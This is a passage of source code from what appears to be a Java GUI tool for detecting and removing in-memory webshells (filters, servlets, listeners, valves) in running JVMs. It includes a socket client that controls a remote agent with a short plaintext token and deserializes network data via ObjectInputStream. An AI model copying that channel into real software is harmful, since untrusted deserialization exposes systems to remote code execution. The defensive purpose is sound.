547 | new Thread(() -> {
548 | String total;
549 | String[] args = new String[]{
550 | classPath,
551 | javaDir
552 | };
553 | try {
554 | Files.delete(javaPathPath);
555 | } catch (IOException ignored) {
556 | }
557 | ConsoleDecompiler.main(args);
558 | try {
559 | total = new String(Files.readAllBytes(javaPathPath));
560 | if (total.trim().equals("")) {
561 | total = tips;
562 | } else {
563 | total = "// QuiltFlower \n" + total;
564 | }
565 | } catch (Exception ignored) {
566 | total = tips;
567 | }
568 | try {
569 | Files.delete(javaPathPath);
570 | } catch (IOException ignored) {
571 | }
572 |
573 | total = total.replace("\r\n", "\n");
574 | editorPanel.setText(total);
575 | }).start();
576 | }).start();
577 | }
578 |
579 | public static void log(String l) {
580 | String text = String.format("[*] %s\n", l);
581 | instance.logArea.append(text);
582 | }
583 |
584 | public static void start0() {
585 | FlatDarkLaf.setup();
586 | JFrame frame = new JFrame("内存马查杀 by 4ra1n");
587 | instance = new ShellForm();
588 | frame.setContentPane(instance.shellPanel);
589 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
590 | frame.pack();
591 |
592 | frame.setResizable(false);
593 | frame.setSize(1300, 800);
594 |
595 | frame.setVisible(true);
596 | }
597 |
598 | {
599 | // GUI initializer generated by IntelliJ IDEA GUI Designer
600 | // >>> IMPORTANT!! <<<
601 | // DO NOT EDIT OR ADD ANY CODE HERE!
602 | $$$setupUI$$$();
603 | }
604 |
605 | /**
606 | * Method generated by IntelliJ IDEA GUI Designer
607 | * >>> IMPORTANT!! <<<
608 | * DO NOT edit this method OR call it in your code!
609 | *
610 | * @noinspection ALL
611 | */
612 | private void $$$setupUI$$$() {
613 | shellPanel = new JPanel();
614 | shellPanel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
615 | rootPanel = new JPanel();
616 | rootPanel.setLayout(new GridLayoutManager(2, 7, new Insets(0, 0, 0, 0), -1, -1));
617 | shellPanel.add(rootPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
618 | topPanel = new JPanel();
619 | topPanel.setLayout(new GridLayoutManager(4, 4, new Insets(0, 0, 0, 0), -1, -1));
620 | topPanel.setEnabled(false);
621 | rootPanel.add(topPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
622 | topPanel.setBorder(BorderFactory.createTitledBorder(null, "启动", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));
623 | runningButton = new JButton();
624 | runningButton.setText("检测当前运行的Java进程");
625 | topPanel.add(runningButton, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
626 | processScroll = new JScrollPane();
627 | processScroll.setHorizontalScrollBarPolicy(30);
628 | processScroll.setVerticalScrollBarPolicy(20);
629 | topPanel.add(processScroll, new GridConstraints(3, 0, 1, 4, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false));
630 | processTable = new JTable();
631 | processTable.setAutoCreateRowSorter(false);
632 | processTable.setFillsViewportHeight(false);
633 | processScroll.setViewportView(processTable);
634 | pidText = new JTextField();
635 | topPanel.add(pidText, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
636 | attachButton = new JButton();
637 | attachButton.setText("开始Attach");
638 | topPanel.add(attachButton, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
639 | pidLabel = new JLabel();
640 | pidLabel.setText("PID");
641 | topPanel.add(pidLabel, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
642 | sshPanel = new JPanel();
643 | sshPanel.setLayout(new GridLayoutManager(1, 2, new Insets(0, 0, 0, 0), -1, -1));
644 | topPanel.add(sshPanel, new GridConstraints(2, 0, 1, 4, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
645 | sshPanel.setBorder(BorderFactory.createTitledBorder(null, "远程", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));
646 | ipLabel = new JLabel();
647 | ipLabel.setText("远程手动注入Agent后输入IP");
648 | sshPanel.add(ipLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
649 | ipText = new JTextField();
650 | sshPanel.add(ipText, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
651 | final JPanel panel1 = new JPanel();
652 | panel1.setLayout(new GridLayoutManager(1, 3, new Insets(0, 0, 0, 0), -1, -1));
653 | topPanel.add(panel1, new GridConstraints(1, 0, 1, 4, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
654 | passLabel = new JLabel();
655 | passLabel.setText(" 长度为8的Token");
656 | panel1.add(passLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
657 | passText = new JTextField();
658 | panel1.add(passText, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
659 | genButton = new JButton();
660 | genButton.setText("自动生成");
661 | panel1.add(genButton, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
662 | normalPanel = new JPanel();
663 | normalPanel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
664 | rootPanel.add(normalPanel, new GridConstraints(0, 1, 1, 5, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, new Dimension(450, -1), null, new Dimension(450, -1), 0, false));
665 | normalPanel.setBorder(BorderFactory.createTitledBorder(null, "组件", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));
666 | tabbedPane = new JTabbedPane();
667 | normalPanel.add(tabbedPane, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 1, false));
668 | filtersPane = new JPanel();
669 | filtersPane.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
670 | tabbedPane.addTab("Filter", filtersPane);
671 | filtersPane.setBorder(BorderFactory.createTitledBorder(null, "", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));
672 | filterScroll = new JScrollPane();
673 | filtersPane.add(filterScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false));
674 | filterList = new JList();
675 | filterScroll.setViewportView(filterList);
676 | servletsPane = new JPanel();
677 | servletsPane.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
678 | tabbedPane.addTab("Servlet", servletsPane);
679 | servletsPane.setBorder(BorderFactory.createTitledBorder(null, "", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));
680 | servletScroll = new JScrollPane();
681 | servletsPane.add(servletScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false));
682 | servletList = new JList();
683 | servletScroll.setViewportView(servletList);
684 | listenerPane = new JPanel();
685 | listenerPane.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
686 | tabbedPane.addTab("Listener", listenerPane);
687 | listenerPane.setBorder(BorderFactory.createTitledBorder(null, "", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));
688 | listenerScroll = new JScrollPane();
689 | listenerPane.add(listenerScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false));
690 | listenerList = new JList();
691 | listenerScroll.setViewportView(listenerList);
692 | valvePane = new JPanel();
693 | valvePane.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
694 | tabbedPane.addTab("Valve", valvePane);
695 | valvePane.setBorder(BorderFactory.createTitledBorder(null, "", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));
696 | valveScroll = new JScrollPane();
697 | valvePane.add(valveScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false));
698 | valveList = new JList();
699 | valveScroll.setViewportView(valveList);
700 | codePanel = new JPanel();
701 | codePanel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
702 | rootPanel.add(codePanel, new GridConstraints(1, 1, 1, 6, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, new Dimension(500, 400), null, null, 0, false));
703 | codePanel.setBorder(BorderFactory.createTitledBorder(null, "反编译代码", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));
704 | codeScroll = new JScrollPane();
705 | codePanel.add(codeScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false));
706 | editorPanel = new JEditorPane();
707 | editorPanel.setText("");
708 | codeScroll.setViewportView(editorPanel);
709 | logPanel = new JPanel();
710 | logPanel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
711 | rootPanel.add(logPanel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, new Dimension(400, -1), null, null, 0, false));
712 | logPanel.setBorder(BorderFactory.createTitledBorder(null, "日志", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));
713 | logScroll = new JScrollPane();
714 | logPanel.add(logScroll, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false));
715 | logArea = new JTextArea();
716 | logArea.setEditable(false);
717 | Font logAreaFont = this.$$$getFont$$$("Consolas", -1, 12, logArea.getFont());
718 | if (logAreaFont != null) logArea.setFont(logAreaFont);
719 | logArea.setForeground(new Color(-16711895));
720 | logScroll.setViewportView(logArea);
721 | confPane = new JPanel();
722 | confPane.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));
723 | rootPanel.add(confPane, new GridConstraints(0, 6, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, new Dimension(350, -1), 0, false));
724 | confPane.setBorder(BorderFactory.createTitledBorder(null, "配置", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));
725 | confPanel = new JPanel();
726 | confPanel.setLayout(new GridLayoutManager(5, 1, new Insets(0, 0, 0, 0), -1, -1));
727 | confPane.add(confPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
728 | blackPanel = new JPanel();
729 | blackPanel.setLayout(new GridLayoutManager(2, 1, new Insets(0, 0, 0, 0), -1, -1));
730 | confPanel.add(blackPanel, new GridConstraints(1, 0, 3, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, new Dimension(-1, 100), null, null, 0, false));
731 | blackPanel.setBorder(BorderFactory.createTitledBorder(null, "自定义黑名单", TitledBorder.DEFAULT_JUSTIFICATION, TitledBorder.DEFAULT_POSITION, null, null));
732 | blackScroll = new JScrollPane();
733 | blackPanel.add(blackScroll, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false));
734 | blackArea = new JTextArea();
735 | blackArea.setText("");
736 | blackScroll.setViewportView(blackArea);
737 | blackTip = new JLabel();
738 | blackTip.setText("每行一个(只显示包含黑名单字符串的类)");
739 | blackPanel.add(blackTip, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
740 | analyzePanel = new JPanel();
741 | analyzePanel.setLayout(new GridLayoutManager(4, 3, new Insets(0, 0, 0, 0), -1, -1));
742 | confPanel.add(analyzePanel, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
743 | killButton = new JButton();
744 | killButton.setText("删除内存马");
745 | analyzePanel.add(killButton, new GridConstraints(3, 1, 1, 2, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
746 | killText = new JTextField();
747 | analyzePanel.add(killText, new GridConstraints(2, 0, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
748 | refreshButton = new JButton();
749 | refreshButton.setText("刷新");
750 | analyzePanel.add(refreshButton, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
751 | analyzeButton = new JButton();
752 | analyzeButton.setText("开始分析");
753 | analyzePanel.add(analyzeButton, new GridConstraints(0, 0, 2, 3, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
754 | checkPanel = new JPanel();
755 | checkPanel.setLayout(new GridLayoutManager(3, 1, new Insets(0, 0, 0, 0), -1, -1));
756 | confPanel.add(checkPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
757 | ignoreApacheBox = new JCheckBox();
758 | ignoreApacheBox.setText("忽略org.apache开头的类");
759 | checkPanel.add(ignoreApacheBox, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
760 | ignoreJavaBox = new JCheckBox();
761 | ignoreJavaBox.setText("忽略java/javax/sun开头的类");
762 | checkPanel.add(ignoreJavaBox, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
763 | ignoreSpringBox = new JCheckBox();
764 | ignoreSpringBox.setText("忽略org.springframework开头的类");
765 | checkPanel.add(ignoreSpringBox, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
766 | }
767 |
768 | /**
769 | * @noinspection ALL
770 | */
771 | private Font $$$getFont$$$(String fontName, int style, int size, Font currentFont) {
772 | if (currentFont == null) return null;
773 | String resultName;
774 | if (fontName == null) {
775 | resultName = currentFont.getName();
776 | } else {
777 | Font testFont = new Font(fontName, Font.PLAIN, 10);
778 | if (testFont.canDisplay('a') && testFont.canDisplay('1')) {
779 | resultName = fontName;
780 | } else {
781 | resultName = currentFont.getName();
782 | }
783 | }
784 | Font font = new Font(resultName, style >= 0 ? style : currentFont.getStyle(), size >= 0 ? size : currentFont.getSize());
785 | boolean isMac = System.getProperty("os.name", "").toLowerCase(Locale.ENGLISH).startsWith("mac");
786 | Font fontWithFallback = isMac ? new Font(font.getFamily(), font.getStyle(), font.getSize()) : new StyleContext().getFont(font.getFamily(), font.getStyle(), font.getSize());
787 | return fontWithFallback instanceof FontUIResource ? fontWithFallback : new FontUIResource(fontWithFallback);
788 | }
789 |
790 | /**
791 | * @noinspection ALL
792 | */
793 | public JComponent $$$getRootComponent$$$() {
794 | return shellPanel;
795 | }
796 |
797 | }
798 |
--------------------------------------------------------------------------------
/gui/src/main/java/com/n1ar4/model/ClassObj.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.model;
2 |
3 | @SuppressWarnings("all")
4 | public class ClassObj {
5 | private String className;
6 |
7 | private String type;
8 |
9 | public ClassObj(String name,String type){
10 | this.className= name;
11 | this.type = type;
12 | }
13 |
14 | public String getType() {
15 | return type;
16 | }
17 |
18 | public void setType(String type) {
19 | this.type = type;
20 | }
21 |
22 | public String getClassName() {
23 | return className;
24 | }
25 |
26 | public void setClassName(String className) {
27 | this.className = className;
28 | }
29 |
30 | @Override
31 | public String toString() {
32 | return getClassName();
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/gui/src/main/java/com/n1ar4/model/ProcessObj.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.model;
2 |
3 | public class ProcessObj {
4 | private String id;
5 | private String name;
6 |
7 | public String getId() {
8 | return id;
9 | }
10 |
11 | public void setId(String id) {
12 | this.id = id;
13 | }
14 |
15 | public String getName() {
16 | return name;
17 | }
18 |
19 | public void setName(String name) {
20 | this.name = name;
21 | }
22 |
23 | @Override
24 | public String toString() {
25 | return id+name;
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/gui/src/main/java/com/n1ar4/start/SocketHelper.java:
--------------------------------------------------------------------------------
1 | package com.n1ar4.start;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.ObjectInputStream;
5 | import java.io.ObjectOutputStream;
6 | import java.net.Socket;
7 | import java.nio.file.Files;
8 | import java.nio.file.Paths;
9 | import java.util.ArrayList;
10 | import java.util.List;
11 |
12 | @SuppressWarnings("all")
13 | public class SocketHelper {
14 | private static String host;
15 | private static final int port = 10032;
16 | private static String pass;
17 |
18 | public static void setHost(String h) {
19 | host = h;
20 | }
21 |
22 | public static void setPass(String p) {
23 | pass = p;
24 | }
25 |
26 | public static boolean check() {
27 | try {
28 | new Socket(host, port);
29 | return true;
30 | } catch (Exception ex) {
31 | ex.printStackTrace();
32 | return false;
33 | }
34 | }
35 |
36 | public static void getBytecode(String className) throws Exception {
37 | Socket client = new Socket(host, port);
38 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
39 | ObjectOutputStream oos = new ObjectOutputStream(bao);
40 | oos.writeObject(pass + "|" + className);
41 | client.getOutputStream().write(bao.toByteArray());
42 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
43 | byte[] data = (byte[]) ois.readObject();
44 | Files.write(Paths.get("test.class"), data);
45 | }
46 |
47 | public static void killFilter(String kill) throws Exception {
48 | Socket client = new Socket(host, port);
49 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
50 | ObjectOutputStream oos = new ObjectOutputStream(bao);
51 | oos.writeObject("" + pass + "|" + kill);
52 | client.getOutputStream().write(bao.toByteArray());
53 | }
54 |
55 | public static void killServlet(String kill) throws Exception {
56 | Socket client = new Socket(host, port);
57 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
58 | ObjectOutputStream oos = new ObjectOutputStream(bao);
59 | oos.writeObject("" + pass + "|" + kill);
60 | client.getOutputStream().write(bao.toByteArray());
61 | }
62 |
63 | public static void killListener(String kill) throws Exception {
64 | Socket client = new Socket(host, port);
65 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
66 | ObjectOutputStream oos = new ObjectOutputStream(bao);
67 | oos.writeObject("" + pass + "|" + kill);
68 | client.getOutputStream().write(bao.toByteArray());
69 | }
70 |
71 | public static void killValve(String kill) throws Exception {
72 | Socket client = new Socket(host, port);
73 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
74 | ObjectOutputStream oos = new ObjectOutputStream(bao);
75 | oos.writeObject("" + pass + "|" + kill);
76 | client.getOutputStream().write(bao.toByteArray());
77 | }
78 |
79 | public static List getAllClasses() throws Exception {
80 | Socket client = new Socket(host, port);
81 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
82 | ObjectOutputStream oos = new ObjectOutputStream(bao);
83 | oos.writeObject("" + pass);
84 | client.getOutputStream().write(bao.toByteArray());
85 |
86 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
87 | ArrayList arrayList = (ArrayList) ois.readObject();
88 | return arrayList;
89 | }
90 |
91 | public static List getAllServlets() throws Exception {
92 | Socket client = new Socket(host, port);
93 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
94 | ObjectOutputStream oos = new ObjectOutputStream(bao);
95 | oos.writeObject("" + pass);
96 | client.getOutputStream().write(bao.toByteArray());
97 |
98 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
99 | ArrayList arrayList = (ArrayList) ois.readObject();
100 | return arrayList;
101 | }
102 |
103 | public static List getAllFilters() throws Exception {
104 | Socket client = new Socket(host, port);
105 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
106 | ObjectOutputStream oos = new ObjectOutputStream(bao);
107 | oos.writeObject("" + pass);
108 | client.getOutputStream().write(bao.toByteArray());
109 |
110 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
111 | ArrayList arrayList = (ArrayList) ois.readObject();
112 | return arrayList;
113 | }
114 |
115 | public static List getAllListeners() throws Exception {
116 | Socket client = new Socket(host, port);
117 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
118 | ObjectOutputStream oos = new ObjectOutputStream(bao);
119 | oos.writeObject("" + pass);
120 | client.getOutputStream().write(bao.toByteArray());
121 |
122 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
123 | ArrayList arrayList = (ArrayList) ois.readObject();
124 | return arrayList;
125 | }
126 |
127 | public static List getAllValves() throws Exception {
128 | Socket client = new Socket(host, port);
129 | ByteArrayOutputStream bao = new ByteArrayOutputStream();
130 | ObjectOutputStream oos = new ObjectOutputStream(bao);
131 | oos.writeObject("" + pass);
132 | client.getOutputStream().write(bao.toByteArray());
133 |
134 | ObjectInputStream ois = new ObjectInputStream(client.getInputStream());
135 | ArrayList arrayList = (ArrayList) ois.readObject();
136 | return arrayList;
137 | }
138 | }
139 |
--------------------------------------------------------------------------------
/img/0000.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0000.jpg
--------------------------------------------------------------------------------
/img/0002.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0002.jpg
--------------------------------------------------------------------------------
/img/0003.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0003.jpg
--------------------------------------------------------------------------------
/img/0004.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0004.jpg
--------------------------------------------------------------------------------
/img/0005.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0005.png
--------------------------------------------------------------------------------
/img/0006.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/4ra1n/shell-analyzer/9f00400ca9635f7e189f5b9da23e713b9ebb4a35/img/0006.png
--------------------------------------------------------------------------------
/img/0007.png:
--------------------------------------------------------------------------------
